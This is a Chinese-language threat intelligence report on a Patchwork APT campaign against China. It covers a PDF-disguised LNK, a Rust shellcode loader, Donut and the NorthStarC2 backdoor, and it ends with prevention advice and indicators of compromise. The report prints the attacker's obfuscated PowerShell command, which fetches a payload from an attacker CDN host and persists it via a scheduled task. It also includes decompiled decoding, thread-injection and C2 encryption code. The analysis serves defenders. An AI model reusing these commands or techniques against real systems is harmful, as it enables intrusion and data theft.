概述
瑞星威胁情报平台于近期捕获到一起针对中国的攻击事件,根据关联分析,将此次事件归属于Patchwork
组织。攻击者使用伪装成pdf
文档的快捷方式作为初始攻击武器,执行命令从远程服务器下载诱饵文档和恶意程序,并通过创建计划任务的方式实现本地持久化。其中下载的恶意程序由rust
语言编写,负责在内存中执行开源工具Donut
生成的shellcode
。rust
语言具有高级控制、内存安全性和灵活性等优点,而Donut
则支持将任意exe
、dll
、.net
程序集或部分脚本程序生成一个与执行位置无关的shellcode
,这套武器组合隐蔽性强、安全性高,可以让攻击者投递不同类型的攻击武器,完成恶意目的。比如在本次事件中攻击者使用的武器就是名为NorthStarC2
的远控木马,最终利用该工具实现了对目标主机的信息窃取及远程控制。
Patchwork
组织,又名摩诃草
、白象
、APT-Q-36
、Dropping Elephant
,是一个疑似具有南亚某政府背景的APT
组织,其最早攻击活动可追溯到2009年,至今依然活跃。该组织主要针对中国、巴基斯坦、孟加拉国等亚洲地区国家,以政府、军事、电力、工业、科研教育、外交和经济等高价值机构为攻击目标。
ATT&CK 矩阵
战术 | 技术 | 具体行为 |
---|---|---|
TA0002 -执行 |
T1059 -命令和脚本解释器 |
执行powershell 命令 |
TA0002 -执行 |
T1204 -用户执行 |
需要用户主动执行 |
TA0003 -持久化 |
T1053 -计划任务/作业 |
创建计划任务定期启动恶意程序实现本地持久化 |
TA0005 -防御规避 |
T1036 -伪装 |
修改图标快捷方式伪装成pdf 文档 |
TA0005 -防御规避 |
T1027 -混淆过的文件或信息 |
恶意载荷编码混淆后内嵌在执行文件内 |
TA0005 -防御规避 |
T1055 -进程注入 |
创建线程执行恶意载荷 |
TA0007 -环境发现 |
T1083 -枚举文件和目录 |
获取指定路径下目录和文件信息 |
TA0007 -环境发现 |
T1057 -收集进程信息 |
收集被入侵主机的进程列表 |
TA0007 -环境发现 |
T1082 -收集系统信息 |
收集被入侵主机的操作系统和硬件信息 |
TA0007 -环境发现 |
T1016 -收集系统网络配置 |
收集被入侵主机的MAC地址和IP地址 |
TA0007 -环境发现 |
T1033 -探测系统所有者/用户 |
收集被入侵主机的用户名 |
TA0009 -收集信息 |
T1113 -屏幕截图 |
获取屏幕截图 |
TA0011 -指挥与控制 |
T1573 -加密通道 |
通过加密算法来隐藏命令和控制流量 |
TA0010 -外传信息 |
T1020 -自动外传 |
自动发送收集到的受害者机器信息 |
TA0010 -外传信息 |
T1041 -通过C2通道外传 |
C2通道同时可以接收木马回传的受害者机器信息 |
攻击事件详情
本次事件中发现的初始文件是名为2023120314221759826.pdf.lnk
的快捷方式,可通过钓鱼邮件、恶意站点等渠道进行投递。攻击者通过修改图标将其伪装成pdf
文档,以此诱骗用户点击执行,而快捷方式的目标指向了本地工具powershell.exe
,用以执行一段命令完成文件下载及创建计划任务等初期工作。下载地址分别为pd35.b-cdn.net
和pl335.b-cdn.net
,根据关联分析发现Patchwork
组织在过去的多起攻击行动中都曾使用过相似的域名格式,这也是判定此次事件归属组织的证据之一。下载的文件包括诱饵文档和恶意程序,与快捷方式同名的pdf
诱饵文档,内容是国内电力企业的相关新闻报道,由文件名和内容可见攻击者针对的目标并不明确。不过在此次事件中发现该组织使用了近年来流行的rust
语言开发的恶意程序,利用该语言的安全特性在内存中解码执行定制的恶意载荷。目前为止,在已披露的Patchwork
组织过往攻击行动的报告中未发现有使用rust
程序的记录,猜测该组织再次更新了其武器库。至于最终执行的恶意载荷,攻击者则是使用了现成的开源项目:Donut
和NorthStarC2
,此举可以让攻击者快速展开攻击行动,提高攻击效率。其中NorthStarC2
是一款.net
远控工具,由Donut
将其生成一段可以在内存任意位置运行的shellcode
,最终帮助攻击者隐蔽的控制目标主机,实现攻击目的。
攻击流程
样本分析
1. 初始文件分析
字段 | 内容 |
---|---|
文件大小 | 3.52 KB (3602 bytes) |
文件MD5 | 4938bd735cdb8ca0ea592482018a0979 |
文件类型 | LNK |
病毒名 | Downloader.PowerShell/LNK!1.F050 |
主要功能 | 下载文件 |
攻击者通过修改文件名和文件图标将作为初始攻击武器的快捷方式伪装成pdf
文档,以此诱骗用户执行。但其真实目标指向了本地的C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
,用以执行内嵌的powershell
命令,其中部分字段做了简单的混淆处理,以逃避传统的字符串检测。至于命令的功能则是分别从不同的地址下载文件到本地并做简单处理,其中用来欺骗用户的诱饵文档被直接打开,而执行恶意功能的程序则通过创建计划任务的方式实现本地持久化。
执行的命令。
$ProgressPreference = 'SilentlyContinue';
i''w''r "https[:]//pd35.b-cdn.net/ymj" -OutFile C:\Users\Public\2023120314221759826.pdf;
s''a''p''s C:\Users\Public\2023120314221759826.pdf;
i''w''r "https[:]//pl335.b-cdn.net/fgn" -OutFile "C:\Windows\Tasks\hunt";
r'e''n -Path "C:\Windows\Tasks\hunt" -NewName "C:\Windows\Tasks\Services.exe";
c''p''i 'C:\Users\Public\2023120314221759826.pdf' -destination .;
S''C''H''T''A''S''K''S'' /Create /Sc minute /Tn EdgeUpdate /tr 'C:\Windows\Tasks\Services';
2. shellcode加载器分析
字段 | 内容 |
---|---|
原始文件名 | Services.exe |
文件大小 | 212.50 KB (217600 bytes) |
文件MD5 | eecee405c8c2536778131ba44dfb3987 |
文件类型 | EXE |
病毒名 | Trojan.[Patchwork]ShellCode/x64!1.F043 |
主要功能 | 动态执行shellcode |
该程序由rust
语言编写,在本次事件中由计划任务启动执行,然后将内嵌的恶意载荷经过异或解码后在内存中动态运行。对于shellcode
编码数据使用不同的异或算法进行分段解码,而解码密钥则是相关字符串的aes
加密数据,其中加密密钥是一个由本地16字节硬编码字符串扩展后的密钥组。
2.1、扩展加密密钥组
首先使用密钥扩展指令和自定义算法,将程序内嵌的16字节硬编码字符串扩展为一个22组16字节的密钥组,密钥扩展算法有三个步骤:
- 指令
aeskeygenassist
根据上一轮异或运算的结果生成轮密钥 - 自定义算法运算得到新的字符串,使用步骤1生成的轮密钥和上一轮异或运算的结果
- 指令
aesimc
转换步骤2计算得到的字符串
上述算法共执行了九轮,其中第一轮的步骤1和步骤2使用本地硬编码字符串参与运算。
loacl_str_v9 = _mm_loadu_si128(a2); // 16字节硬编码字符串
v21 = loacl_str_v9;
// 第一轮
aeskeygenassist_140001E70(aes_keys, (__int64)&v21); // 根据硬编码字符串生成加密轮密钥
xor_result_v10 = _mm_xor_si128( // 异或运算,加密轮密钥和硬编码字符串
_mm_xor_si128(
_mm_xor_si128(_mm_slli_si128(loacl_str_v9, 12), _mm_slli_si128(loacl_str_v9, 4)),
_mm_xor_si128(_mm_slli_si128(loacl_str_v9, 8), _mm_shuffle_epi32((__m128i)aes_keys[0], 255))),
loacl_str_v9);
v22 = xor_result_v10;
aesimc_140001E00(&aes_keys[12], (__int64)&v22); // 转换异或运算的结果,数据存入密钥组
// 第二轮
v23 = xor_result_v10;
aeskeygenassist_140001E30(&round_key_v20, (__int64)&v23); // 根据上一轮异或运算结果生成新的加密轮密钥
xor_result_v11 = _mm_xor_si128( // 异或运算,加密轮密钥和上一轮异或运算结果
_mm_xor_si128(
_mm_xor_si128(_mm_slli_si128(xor_result_v10, 12), _mm_slli_si128(xor_result_v10, 4)),
_mm_xor_si128(_mm_slli_si128(xor_result_v10, 8), _mm_shuffle_epi32(round_key_v20, 255))),
xor_result_v10);
v24 = xor_result_v11;
aesimc_140001E00(&aes_keys[13], (__int64)&v24); // 转换异或运算的结果,数据存入密钥组
最后生成的密钥组可以分成两个分组,前一个分组的数据就是上述扩展算法中步骤2的计算结果,后面将作为加密密钥参与aes
加密,而步骤3的结果则是后一个分组的数据,但并未被使用。另外每个分组的起始字符串被设置为最初进行密钥扩展的硬编码字符串,而末尾字符串则是再次异或运算得到的数据。
v20 = xor_result_v18; // 第九轮异或运算的结果
aeskeygenassist_140001E10(&round_key_v39, (__int64)&v20); // 使用第九轮异或运算的结果生成轮密钥
aes_keys[0] = (__int128)local_str_v9; // 16字节硬编码字符串作为分组的起始字符串
aes_keys[1] = (__int128)xor_result_v10; // 第一轮异或运算结果
aes_keys[2] = (__int128)xor_result_v11;
aes_keys[3] = (__int128)xor_result_v12;
aes_keys[4] = (__int128)xor_result_v13;
aes_keys[5] = (__int128)xor_result_v14;
aes_keys[6] = (__int128)xor_result_v15;
aes_keys[7] = (__int128)xor_result_v16;
aes_keys[8] = (__int128)xor_result_v17;
aes_keys[9] = (__int128)xor_result_v18;
aes_keys[10] = (__int128)_mm_xor_si128( // 第十轮异或运算,第九轮异或运算得到的数据和以该数据生成的轮密钥
_mm_xor_si128(
_mm_xor_si128(_mm_slli_si128(xor_result_v18, 12), _mm_slli_si128(xor_result_v18, 4)),
_mm_xor_si128(
_mm_slli_si128(xor_result_v18, 8),
_mm_shuffle_epi32(round_key_v39, 255))),
xor_result_v18);
aes_keys[11] = (__int128)local_str_v9; // 16字节硬编码字符串作为分组的起始字符串
aes_keys[21] = aes_keys[10]; // 与前面分组的末尾字符串相同
最终生成的密钥组。
2.2. 解码shellcode
首先解码shellcode
前十六字节数据即shellcode[0]
,使用aes
算法加密本地存储的另一个硬编码字符串得到异或密钥,其中加密密钥使用上面生成的密钥组。然后向下以8个16字节数据为一组执行aes
加密,得到的加密数据作为解码密钥,具体的解码过程如下:
aes
加密算法,所需密钥就是上面密钥组中数据。
.text:0000000140001010 aes_keys = rdx
.text:0000000140001010 movdqa xmm0, xmmword ptr [aes_keys] ;密钥组
.text:0000000140001014 pxor xmm0, xmmword ptr [r8] ; 生成第0轮密钥
.text:0000000140001019 aesenc xmm0, xmmword ptr [aes_keys+10h] ; 九轮加密
.text:000000014000101F aesenc xmm0, xmmword ptr [aes_keys+20h]
.text:0000000140001025 aesenc xmm0, xmmword ptr [aes_keys+30h]
.text:000000014000102B aesenc xmm0, xmmword ptr [aes_keys+40h]
.text:0000000140001031 aesenc xmm0, xmmword ptr [aes_keys+50h]
.text:0000000140001037 aesenc xmm0, xmmword ptr [aes_keys+60h]
.text:000000014000103D aesenc xmm0, xmmword ptr [aes_keys+70h]
.text:0000000140001043 aesenc xmm0, xmmword ptr [aes_keys+80h]
.text:000000014000104C aesenc xmm0, xmmword ptr [aes_keys+90h]
.text:0000000140001055 movdqa xmmword ptr [r8], xmm0
.text:000000014000105A aesenclast xmm0, xmmword ptr [aes_keys+0A0h] ; 最后一轮加密
.text:0000000140001063 movdqa xmmword ptr [rcx], xmm0 ; 得到最终的加密数据
.text:0000000140001067 retn
.text:0000000140001067 sub_140001010 endp
远程线程注入方式执行解码之后的shellcode
。
NtProtectVirtualMemory((HANDLE)0xFFFFFFFFFFFFFFFFi64, &p_shellcode_, (SIZE_T *)decode_key_1, 1u, aes_data);
NtProtectVirtualMemory((HANDLE)0xFFFFFFFFFFFFFFFFi64, &p_shellcode_, (SIZE_T *)decode_key_1, 0x10u, aes_data);
thread_handle[0].m128i_i64[0] = 0i64;
NtCreateThreadEx(thread_handle, 0x2000000i64, 0i64, -1i64, p_shellcode_, 0i64, 0, 0i64, 0i64, 0i64, 0i64);
3. shellcode代码分析
字段 | 内容 |
---|---|
文件大小 | 52.2 KB (53,502 bytes) |
文件MD5 | eecb4819b8121474811b68afdc5432f2 |
病毒名 | Trojan.DonutLoader!1.E39F |
主要功能 | 内存执行远控木马 |
内存中执行的shellcode
是由开源项目Donut
生成,该工具支持将.net
程序集生成一段可在内存任意位置执行的shellcode
。内存中执行的代码使用Unmanaged CLR Hosting API
来加载CLR
,一旦加载到宿主进程中,将创建新的Application Domain
,然后通过AppDomain.Load_3
方法加载运行程序集。
代码执行后首先解码内嵌的编码数据,得到程序运行所需的字符串和.net
程序集,然后在内存中托管运行程序集。其中解码所需的密钥有两个,位于代码内部。
seg000:0000000000000000 E8 80 81 00 00 call main_8185 ; 主函数
seg000:0000000000000005 80 81 00 00 code_addr dd 8180h ; 代码段偏移地址
seg000:0000000000000009 17 32 10 96 decode_key_1 dd 96103217h ; 密钥1
seg000:000000000000000D BB 1A 14 8C dd 8C141ABBh
seg000:0000000000000011 B1 D0 26 17 dd 1726D0B1h
seg000:0000000000000015 6A 4F 16 74 dd 74164F6Ah
seg000:0000000000000019 2D F6 2F ED decode_key_2 dd 0ED2FF62Dh ; 密钥2
seg000:000000000000001D EB 18 98 32 dd 329818EBh
seg000:0000000000000021 7F 23 69 43 dd 4369237Fh
seg000:0000000000000025 7C BB EF F3 dd 0F3EFBB7Ch
seg000:0000000000000029 00 00 00 00 dd 0
解码算法如下,使用内嵌的密钥1和密钥2经过计算得到最终的解码密钥,最后循环解码数据。
do
{
v7 = &decode_key; // 存放最终的解码密钥
v8 = 4i64;
decode_key = *decode_key_2;
do
{
*(_DWORD *)v7 ^= *(_DWORD *)((char *)v7 + decode_key_1);
v7 = (__int128 *)((char *)v7 + 4);
--v8;
}
while ( v8 ); // 代码内的密钥1和密钥2按双字异或
v9 = HIDWORD(decode_key);
v10 = 16i64;
v11 = DWORD2(decode_key);
v12 = DWORD1(decode_key);
v13 = decode_key;
do
{
v14 = v12 + v13;
v15 = v9 + v11;
v16 = v14 ^ __ROL4__(v12, 5);
v17 = v15 ^ __ROL4__(v9, 8);
v18 = v16 + v15;
v13 = v17 + __ROL4__(v14, 16);
v12 = v18 ^ __ROL4__(v16, 7);
v9 = v13 ^ __ROL4__(v17, 13);
v11 = __ROL4__(v18, 16);
--v10;
}
while ( v10 ); // 上面异或的结果再次进行移位、异或等计算
HIDWORD(decode_key) = v9; // 计算结果存入解码密钥字符串
v19 = 4i64;
*(_QWORD *)&decode_key = __PAIR64__(v12, v13);
v20 = &decode_key;
DWORD2(decode_key) = v11;
do
{
*(_DWORD *)v20 ^= *(_DWORD *)((char *)v20 + decode_key_1);
v20 = (__int128 *)((char *)v20 + 4);
--v19;
}
while ( v19 );
v21 = len_data;
if ( len_data > 0x10 )
v21 = 16;
v22 = v21;
v23 = data_address;
do
{
*v23 ^= v23[(char *)&decode_key - data_address];
++v23;
--v22;
}
while ( v22 ); // 解码数据
len_data -= v21;
data_address += v21;
for ( i = 16; i > 0; --i )
{
v25 = (unsigned int)(i - 1);
if ( (*((_BYTE *)decode_key_2 + v25))++ != 0xFF )
break;
}
}
while ( len_data );
解码后的字符串内容,包括库文件名、用来绕过AMSI
和WLDP
安全机制的函数名、.net
版本号及文件完整性验证字符串。
获取相关API
函数地址,使用函数CoCreateInstance
和CorBindToRuntime
在非托管的程序中实例化CLR
托管接口,最终加载执行.net
程序集。
4. NorthStarC2后门分析
字段 | 内容 |
---|---|
原始文件名 | Toolthless.exe |
文件大小 | 27.5 KB (28,160 bytes) |
文件MD5 | d57a44202a5b3155bd91ecf13ec4e726 |
文件类型 | EXE |
病毒名 | Backdoor.NorthStar!1.E66A |
主要功能 | 远控木马 |
NorthStarC2
作为开源的命令和控制框架,由用于管理会话的服务器端和用于与C2
服务器通信的客户端组成。目前,客户端应用程序具有以下功能:
- 1、通过
http
或https
连接到C2
服务器 - 2、从服务器端应用程序接收命令并通过
http
方法响应命令, - 3、使用
XOR
加密通信流量并使用Base64
对其进行混淆, - 4、获取主机信息,包括主机名、用户名、执行目录等,
- 5、执行接收的指令,包括屏幕截图、查看主机文件、下载、上传等。
获取本地信息,包括主机名、用户名、进程名等,其中主机UUID
经过了base64
编码处理。
this.macname = Environment.MachineName;
this.usname = WindowsIdentity.GetCurrent().Name;
using (WindowsIdentity current = WindowsIdentity.GetCurrent())
{
WindowsPrincipal windowsPrincipal = new WindowsPrincipal(current);
this.admin = windowsPrincipal.IsInRole(WindowsBuiltInRole.Administrator);
}
this.workdir = Directory.GetCurrentDirectory();
this.procid = Process.GetCurrentProcess().Id;
this.procname = Process.GetCurrentProcess().ProcessName;
this.exepath = Process.GetCurrentProcess().MainModule.FileName;
Process pop = new Process();
pop.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
pop.StartInfo.UseShellExecute = false;
pop.StartInfo.CreateNoWindow = true;
pop.StartInfo.RedirectStandardOutput = true;
pop.StartInfo.FileName = "cmd.exe";
pop.StartInfo.Arguments = "/c wmic path win32_computersystemproduct get uuid";
pop.Start();
string sdaf = "";
this.uqid = (from x in Enumerable.Range(0, 3)
select sdaf = pop.StandardOutput.ReadLine()).ToArray<string>()[2].ToString();
this.uqid = new pper().hello(Convert.ToBase64String(Encoding.UTF8.GetBytes(this.uqid)));
客户端与服务端通信的数据做加密处理,以逃避流量检测,加密上传信息并对接收的信息进行解密。
public string hello(string qwe) // 加密算法
{
char[] array = new char[]
{
'+', '_', 'I', '-', 'I', '3', ' ', '|', '<', '|',
'|', '\\', '|', '9', ' ', '|', '5', ' ', '|', '3',
'/', '-', '\\', 'c', '|', '<'
};
return Convert.ToBase64String(pper.Rc4ncry(Encoding.UTF8.GetBytes(array), pper.encr(Encoding.UTF8.GetBytes(qwe))));
}
public string bye(string qwe) // 解密算法
{
char[] array = new char[]
{
'+', '_', 'I', '-', 'I', '3', ' ', '|', '<', '|',
'|', '\\', '|', '9', ' ', '|', '5', ' ', '|', '3',
'/', '-', '\\', 'c', '|', '<'
};
return Encoding.UTF8.GetString(pper.decr(pper.Rc4dcry(Encoding.UTF8.GetBytes(array), Convert.FromBase64String(qwe))));
指令功能表如下:
指令 | 功能 |
---|---|
die | 结束客户端运行 |
ping | 返回字符串"pong" |
pwd | 获取当前工作目录 |
cd | 设置指定的新工作目录 |
rm、del | 删除指定文件 |
whoami | 获取当前用户名 |
dir、ls | 枚举工作目录中的文件 |
ipconfig、ifconfig | 获取IP地址 |
cat、type | 获取指定文件内容 |
waittime、wait、responsetime、timer | 设置睡眠时间 |
screenshot、schot | 屏幕截屏 |
upload、uploadfile | 下载文件 |
ps、process、processes | 获取进程列表 |
enabledcmd、enable、cmd | 启动命令行模式 |
inmen | 内存中执行服务器传输的shellcode |
download、get | 上传本地文件 |
downexe | 执行服务器下载的exe程序 |
lksfjdgjkxv | 执行接收的cmd命令 |
关联分析
关联样本
字段 | 内容 |
---|---|
原始文件名 | Tax_Deduction_Revised_Q1-2024.pdf.lnk |
文件大小 | 3.58 KB (3670 bytes) |
文件MD5 | 218d85723396ddddaf75fc5853338997 |
文件类型 | LNK |
病毒名 | Downloader.PowerShell/LNK!1.F050 |
主要功能 | 下载文件 |
在今年6月份国内安全厂商发布了一份Patchwork
组织针对我国相关部门攻击事件的报告,其中提到了与本次事件中初始文件使用相同技术的样本,并且下载服务器域名同为b-cdn.net
,但报告中并未提供该样本的特征信息,暂时无法获取样本实体。不过根据另一个最近发现的关联样本,通过分析可以帮助确定本次事件的归属组织。
该关联样本名为Tax_Deduction_Revised_Q1-2024.pdf.lnk
,采取了相同的攻击技术,都是伪装成正常文档诱骗用户打开,但实际执行的却是一段powershell
命令,完成文件下载及本地持久化等任务。不过该样本只有一个服务器地址:tyfk1.b-cdn.net
,提供诱饵文档和恶意程序的下载。其中诱饵文档的主题是巴基斯坦联邦税务局发布的2024
年税改政策,猜测其目标可能是巴基斯坦政府,该国也是Patchwork
组织主要的针对目标。而下载的恶意程序仅具有信息窃取的功能,将搜集的主机信息加密后传送给指定服务器。但是该程序使用的数字证书于近期被国内安全厂商披露为Pathcwork
组织所有,使用相同数字证书的样本是名为Spyder
的远控木马。该证书有效期从2023/5/19
到2024/5/17
,目前依然有效。
攻击过程可视化(EDR)
瑞星EDR的威胁调查功能为恶意代码的溯源分析提供可视化的应用程序关系图,它可从任意事件或关键元素进行溯源并梳理攻击过程,定位恶意软代码活动的关键链条。结合AI对攻击流程进行精准分析,全方位还原恶意代码如何从攻击面入侵、主机内如何持续性活动的完整攻击链。
本次事件中的下载地址已经失效,所以可视化攻击流程分两部分。
总结
APT攻击有着针对性强、组织严密、持续时间长、高隐蔽性和间接攻击的显著特征,针对的目标都是具有重大信息资产,如国家军事、情报、战略部门和影响国计民生的行业如金融、能源等,国内相关政府机构和企业单位务必要引起重视,加强防御措施。
预防措施
-
不打开可疑文件。
不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。
-
部署网络安全态势感知、预警系统等网关安全产品。
网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。
-
安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。
杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。
瑞星ESM目前已经可以检出此次攻击事件的相关样本。
- 及时修补系统补丁和重要软件的补丁。
沦陷信标(IOC)
-
MD5
4938bd735cdb8ca0ea592482018a0979 de16967a6ed7a3e70fd572ef18c15d83 eecee405c8c2536778131ba44dfb3987 eecb4819b8121474811b68afdc5432f2 d57a44202a5b3155bd91ecf13ec4e726 218d85723396ddddaf75fc5853338997 585d638db07982ab27d21e145f241140 6582a4df50948aaf2dcfbc6d8b84a58e 6699190f7f6574029432b2678e1f40ac
-
URL
hxxps://pd35.b-cdn[.]net/ymj hxxps://pl335.b-cdn[.]net/fgn hxxps://tyfk1.b-cdn[.]net/dox hxxps://tyfk1.b-cdn[.]net/dix hxxps://wingpao[.]info/QKBFJBVZsPKeqFS/HAchGeCttVyEtqZ.php hxxps://kungkao[.]online/commKGylrY4ATzBDqQ58HYN6/CTFPNfmuMqz2vBw013swrcbJPnO7GH.php
-
Domain
pd35.b-cdn.net pl335.b-cdn.net tyfk1.b-cdn.net wingpao.info kungkao.online
-
瑞星病毒名
Trojan.[Patchwork]ShellCode/x64!1.F043